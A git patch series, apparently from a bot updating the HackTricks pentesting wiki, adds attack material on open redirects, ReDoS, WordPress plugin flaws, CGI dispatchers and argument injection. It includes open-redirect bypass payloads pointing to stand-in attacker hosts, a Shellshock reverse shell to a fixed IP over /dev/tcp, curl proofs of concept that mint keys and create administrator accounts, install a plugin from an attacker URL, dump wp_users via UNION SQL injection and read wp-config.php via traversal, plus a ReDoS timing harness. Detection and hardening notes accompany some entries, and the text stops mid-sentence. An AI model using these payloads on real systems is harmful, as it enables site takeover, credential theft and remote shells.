From f3e6eea33abe8384c6e038ae75be0d396bdc03d2 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 1 Oct 2025 01:45:05 +0000 Subject: [PATCH 01/15] Add content from: Research Update: Enhanced src/pentesting-web/open-redirect.m... --- .../mutation-testing-with-slither.md | 4 +- src/pentesting-web/open-redirect.md | 109 +++++++++++++++++- 2 files changed, 107 insertions(+), 6 deletions(-) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index 54edb502f..db28ccb5a 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,6 +1,6 @@ # Mutation Testing for Solidity with Slither (slither-mutate) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect. @@ -123,4 +123,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Slither (GitHub)](https://github.com/crytic/slither) -{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 2cbc9d4e6..266c052b2 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -7,12 +7,23 @@ ### Redirect to localhost or arbitrary domains +- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target: + - IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal) + - IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] + - Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1. + - Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1. +- Network-path references often bypass naive validators that prepend a scheme or only check prefixes: + - //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme. +- Userinfo tricks defeat contains/startswith checks against trusted hosts: + - https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld. +- Backslash parsing confusion between frameworks/browsers: + - https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches. {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Open Redirect to XSS +### Modern open-redirect to XSS pivots ```bash #Basic payload, javascript code is executed after "javascript:" @@ -60,6 +71,34 @@ javascript://whitelisted.com?%a0alert%281%29 ";alert(0);// ``` +
+More modern URL-based bypass payloads + +```text +# Scheme-relative (current scheme is reused) +//evil.example + +# Credentials (userinfo) trick +https://trusted.example@evil.example/ + +# Backslash confusion (server validates, browser normalizes) +https://trusted.example\@evil.example/ + +# Schemeless with whitespace/control chars +evil.example%00 +%09//evil.example + +# Prefix/suffix matching flaws +https://trusted.example.evil.example/ +https://evil.example/trusted.example + +# When only path is accepted, try breaking absolute URL detection +/\\evil.example +/..//evil.example +``` +``` +
+ ## Open Redirect uploading svg files ```html @@ -173,18 +212,80 @@ exit; ?> ``` +## Hunting and exploitation workflow (practical) + +- Single URL check with curl: + +```bash +curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" +``` + +- Discover and fuzz likely parameters at scale: + +
+Click to expand + +```bash +# 1) Gather historical URLs, keep those with common redirect params +cat domains.txt \ + | gau --o urls.txt # or: waybackurls / katana / hakrawler + +# 2) Grep common parameters and normalize list +rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ + | sed 's/\r$//' | sort -u > candidates.txt + +# 3) Use OpenRedireX to fuzz with payload corpus +cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt + +# 4) Manually verify interesting hits +awk '/30[1237]|Location:/I' results.txt +``` +``` +
+ +- Don’t forget client-side sinks in SPAs: look for window.location/assign/replace and framework helpers that read query/hash and redirect. + +- Frameworks often introduce footguns when redirect destinations are derived from untrusted input (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input. + +{{#ref}} +../network-services-pentesting/pentesting-web/nextjs.md +{{#endref}} + +- OAuth/OIDC flows: abusing open redirectors frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide: + +{{#ref}} +./oauth-to-account-takeover.md +{{#endref}} + +- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for: + +```html + + +``` + ## Tools - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) +- OpenRedireX – fuzzer for detecting open redirects. Example: + +```bash +# Install +git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh + +# Fuzz a list of candidate URLs (use FUZZ as placeholder) +cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 +``` ## Resources -- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists. +- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect you can find fuzzing lists. - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) +## References +- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection +- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX {{#include ../banners/hacktricks-training.md}} - - From dfb0310cf176bf3bfa936a9593256efa9181a567 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 1 Oct 2025 08:29:47 +0000 Subject: [PATCH 02/15] Add content from: Research Update: Enhanced src/pentesting-web/regular-express... --- .../mutation-testing-with-slither.md | 4 +- ...ular-expression-denial-of-service-redos.md | 63 ++++++++++++++++--- 2 files changed, 57 insertions(+), 10 deletions(-) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index 54edb502f..db28ccb5a 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,6 +1,6 @@ # Mutation Testing for Solidity with Slither (slither-mutate) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect. @@ -123,4 +123,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Slither (GitHub)](https://github.com/crytic/slither) -{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/regular-expression-denial-of-service-redos.md b/src/pentesting-web/regular-expression-denial-of-service-redos.md index 21675cc90..15bccf507 100644 --- a/src/pentesting-web/regular-expression-denial-of-service-redos.md +++ b/src/pentesting-web/regular-expression-denial-of-service-redos.md @@ -8,7 +8,12 @@ A **Regular Expression Denial of Service (ReDoS)** happens when someone takes ad ## The Problematic Regex Naïve Algorithm -**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** +**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** + +### Engine behavior and exploitability + +- Most popular engines (PCRE, Java `java.util.regex`, Python `re`, JavaScript `RegExp`) use a **backtracking** VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking. +- Some engines/libraries are designed to be **ReDoS-resilient** by construction (no backtracking), e.g. **RE2** and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details. ## Evil Regexes @@ -18,10 +23,36 @@ An evil regular expression pattern is that one that can **get stuck on crafted i - ([a-zA-Z]+)\* - (a|aa)+ - (a|a?)+ -- (.\*a){x} for x > 10 +- (.*a){x} for x > 10 All those are vulnerable to the input `aaaaaaaaaaaaaaaaaaaaaaaa!`. +### Practical recipe to build PoCs + +Most catastrophic cases follow this shape: + +- Prefix that gets you into the vulnerable subpattern (optional). +- Long run of a character that causes ambiguous matches inside nested/overlapping quantifiers (e.g., many `a`, `_`, or spaces). +- A final character that forces overall failure so the engine must backtrack through all possibilities (often a character that won’t match the last token, like `!`). + +Minimal examples: + +- `(a+)+$` vs input `"a"*N + "!"` +- `\w*_*\w*$` vs input `"v" + "_"*N + "!"` + +Increase N and observe super‑linear growth. + +#### Quick timing harness (Python) + +```python +import re, time +pat = re.compile(r'(\w*_)\w*$') +for n in [2**k for k in range(8, 15)]: + s = 'v' + '_'*n + '!' + t0=time.time(); pat.search(s); dt=time.time()-t0 + print(n, f"{dt:.3f}s") +``` + ## ReDoS Payloads ### String Exfiltration via ReDoS @@ -30,7 +61,7 @@ In a CTF (or bug bounty) maybe you **control the Regex a sensitive information ( - In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=)((.*)*)*salt$` - Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` -- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`(((((((.*)*)*)*)*)*)*)!` +- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`(((((((.*)*)*)*)*)*)*)!` - In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$` ### ReDoS Controlling Input and Regex @@ -67,19 +98,35 @@ Regexp (a+)*$ took 723 milliseconds. */ ``` +### Language/engine notes for attackers + +- JavaScript (browser/Node): Built‑in `RegExp` is a backtracking engine and commonly exploitable when regex+input are attacker‑influenced. +- Python: `re` is backtracking. Long ambiguous runs plus a failing tail often yield catastrophic backtracking. +- Java: `java.util.regex` is backtracking. If you only control input, look for endpoints using complex validators; if you control patterns (e.g., stored rules), ReDoS is usually trivial. +- Engines such as **RE2/RE2J/RE2JS** or the **Rust regex** crate are designed to avoid catastrophic backtracking. If you hit these, focus on other bottlenecks (e.g., enormous patterns) or find components still using backtracking engines. + ## Tools - [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit) + - Find vulnerable regexes and auto‑generate evil inputs. Examples: + - `pip install regexploit` + - Analyze one pattern interactively: `regexploit` + - Scan Python/JS code for regexes: `regexploit-py path/` and `regexploit-js path/` - [https://devina.io/redos-checker](https://devina.io/redos-checker) +- [https://github.com/davisjam/vuln-regex-detector](https://github.com/davisjam/vuln-regex-detector) + - End‑to‑end pipeline to extract regexes from a project, detect vulnerable ones, and validate PoCs in the target language. Useful for hunting through large codebases. +- [https://github.com/tjenkinson/redos-detector](https://github.com/tjenkinson/redos-detector) + - Simple CLI/JS library that reasons about backtracking to report if a pattern is safe. + +> Tip: When you only control input, generate strings with doubling lengths (e.g., 2^k characters) and track latency. Exponential growth strongly indicates a viable ReDoS. ## References -- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) +- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) - [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) -- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) +- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) - [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869) +- SoK (2024): A Literature and Engineering Review of Regular Expression Denial of Service (ReDoS) — [https://arxiv.org/abs/2406.11618](https://arxiv.org/abs/2406.11618) +- Why RE2 (linear‑time regex engine) — [https://github.com/google/re2/wiki/WhyRE2](https://github.com/google/re2/wiki/WhyRE2) {{#include ../banners/hacktricks-training.md}} - - - From 57903e3606aa5b1296e8da91b34dcb9d7201528e Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 1 Oct 2025 11:23:52 +0200 Subject: [PATCH 03/15] Update open-redirect.md --- src/pentesting-web/open-redirect.md | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 266c052b2..c97bf611c 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -277,15 +277,13 @@ git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./se cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 ``` -## Resources +## References - In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect you can find fuzzing lists. - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) - -## References - - PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection - OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX + {{#include ../banners/hacktricks-training.md}} From cf8c61224459e062a994523fb23036b2b347135a Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 1 Oct 2025 12:43:41 +0000 Subject: [PATCH 04/15] =?UTF-8?q?Add=20content=20from:=20Q3=202025?= =?UTF-8?q?=E2=80=99s=20most=20exploited=20WordPress=20vulnerabilities=20a?= =?UTF-8?q?nd=20how=20R...?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../pentesting-web/wordpress.md | 135 +++++++++++++++++- src/welcome/hacktricks-values-and-faq.md | 3 +- 2 files changed, 135 insertions(+), 3 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 7eea42ba0..b935c8f67 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -852,6 +852,135 @@ Patched behaviour (Jobmonster 4.8.0) - Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). +## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) + +Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). + +- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection +- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback +- Impact: full takeover by chaining the minted key to internal privileged actions + +PoC – mint a connection key and use it + +```bash +# 1) Obtain key (unauthenticated). Exact payload varies per plugin +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ + -H 'Content-Type: application/json' \ + --data '{"username":"admin"}' +# → {"key":"", ...} + +# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin) +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ + -H 'Content-Type: application/json' \ + -H 'X-Connection-Key: ' \ + --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' +``` + +Why it’s exploitable +- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback +- No capability enforcement; minted key is accepted as a universal bypass + +Detection checklist +- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability +- Look for subsequent routes that accept the minted token/key without server-side capability checks + +Hardening +- For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability +- Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use +- Validate the caller’s user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can() + +--- + +## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) + +Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin. + +- Vulnerable path: plugin/install_and_activate +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation + +PoC (shape depends on plugin; illustrative only) + +```bash +curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ + -H 'Content-Type: application/json' \ + --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' +``` + +Detection checklist +- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check +- Any code path that sets $skip_caps = true after nonce validation + +Hardening +- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state +- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code +- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows + +--- + +## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) + +Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization. + +- Parameter: s (search) +- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization +- Impact: database exfiltration (users, hashes), lateral movement + +PoC + +```bash +# Replace action with the affected depicter-* handler on the target +curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ + --data-urlencode 'action=depicter_search' \ + --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" +``` + +Detection checklist +- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL +- Review custom queries passed to $wpdb->get_results()/query() concatenating s + +Hardening +- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side +- Add a strict allowlist for s and normalize to expected charset/length + +--- + +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) + +Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime. + +- Parameter: __kubio-site-edit-iframe-classic-template +- Flaw: no normalization/allowlisting; traversal permitted +- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP) + +PoC – read wp-config.php + +```bash +curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" +``` + +Detection checklist +- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment +- Look for traversal patterns (../) reaching outside the intended templates directory + +Hardening +- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base)) +- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths) + +--- + +### Operational detection and virtual patching tips (application layer) + +Until vendors ship fixes, block high-risk routes/parameters at the application layer (e.g., WAF/virtual patching engines that understand WordPress semantics): + +- Block unauthenticated POSTs to /wp-json/sure-triggers/v1/connection/create-wp-connection +- Enforce capability-aware blocks on /plugin/install_and_activate for non-admin callers +- For depicter-* actions, drop requests where s contains SQLi metas ("'", '"', '/*', '*/', '--', ';', 'or ', 'union ', 'select '), tuned per-site +- For __kubio-site-edit-iframe-classic-template, block traversal patterns (../, ..\) and absolute paths + +Logging: monitor for hits to the above and alert on nonces used pre-auth or surges in depicter-* queries. + ## References - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) @@ -863,7 +992,11 @@ Patched behaviour (Jobmonster 4.8.0) - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) - - [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) +- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) +- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) +- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) +- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) +- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a5b53905c..dd6a54063 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **How can I a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the {{#include ../banners/hacktricks-training.md}} - From 90afd5fcb11b6a8f4d0cac02e128294d2c05affb Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 1 Oct 2025 12:49:30 +0000 Subject: [PATCH 05/15] Add content from: TOTOLINK X6000R: Three New Vulnerabilities Uncovered --- .../pentesting-web/cgi.md | 44 ++++++++++++++++--- src/pentesting-web/command-injection.md | 41 ++++++++++++++++- src/welcome/hacktricks-values-and-faq.md | 3 +- 3 files changed, 79 insertions(+), 9 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index a3625f877..7cc8bce59 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -59,11 +59,37 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > run ``` -## **Proxy \(MitM to Web server requests\)** +## Centralized CGI dispatchers (single endpoint routing via selector parameters) -CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com" +Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, `/cgi-bin/cstecgi.cgi`) and use a selector parameter such as `topicurl=` to route the request to an internal function. -As the HTTP_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: <IP_attacker>:<PORT>**" and if the server performs any request during the session. You will be able to capture each request made by the server. +Methodology to exploit these routers: + +- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. +- Test unauthenticated reachability: some handlers forget auth checks and are directly callable. +- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. + +Generic exploit shapes: + +```http +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools +topicurl=¶m=-n + +# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; + +# 3) Validator bypass → arbitrary file write in file-touching handlers +topicurl=setWizardCfg&=/etc/init.d/S99rc +``` + +Detection and hardening: + +- Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers. +- Flag parameters that begin with `-` (argv option injection attempts). +- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags. ## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) @@ -80,8 +106,14 @@ curl -i --data-binary "" "http://jh2i.com:500 **More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +## **Proxy \(MitM to Web server requests\)** + +CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com" + +As the HTTP_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: <IP_attacker>:<PORT>**" and if the server performs any request during the session. You will be able to capture each request made by the server. + +## **References** + +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 8529062f6..e84179e05 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -158,6 +158,44 @@ execFile('/usr/bin/do-something', [ Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +### Argument/Option injection via leading hyphen (argv, no shell metacharacters) + +Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. + +Typical places where this appears: + +- Embedded web UIs/CGI handlers that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. +- Centralized CGI routers (e.g., `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) where multiple handlers reuse the same weak validator. + +What to try: + +- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool. +- Abuse flags that change behavior or write files, for example: + - `ping`: `-f`/`-c 100000` to stress the device (DoS) + - `curl`: `-o /tmp/x` to write arbitrary paths, `-K ` to load attacker-controlled config + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers +- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. + +Generic PoC shapes against centralized CGI dispatchers: + +``` +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# Flip options in a downstream tool via argv injection +topicurl=¶m=-n + +# Unauthenticated RCE when a handler 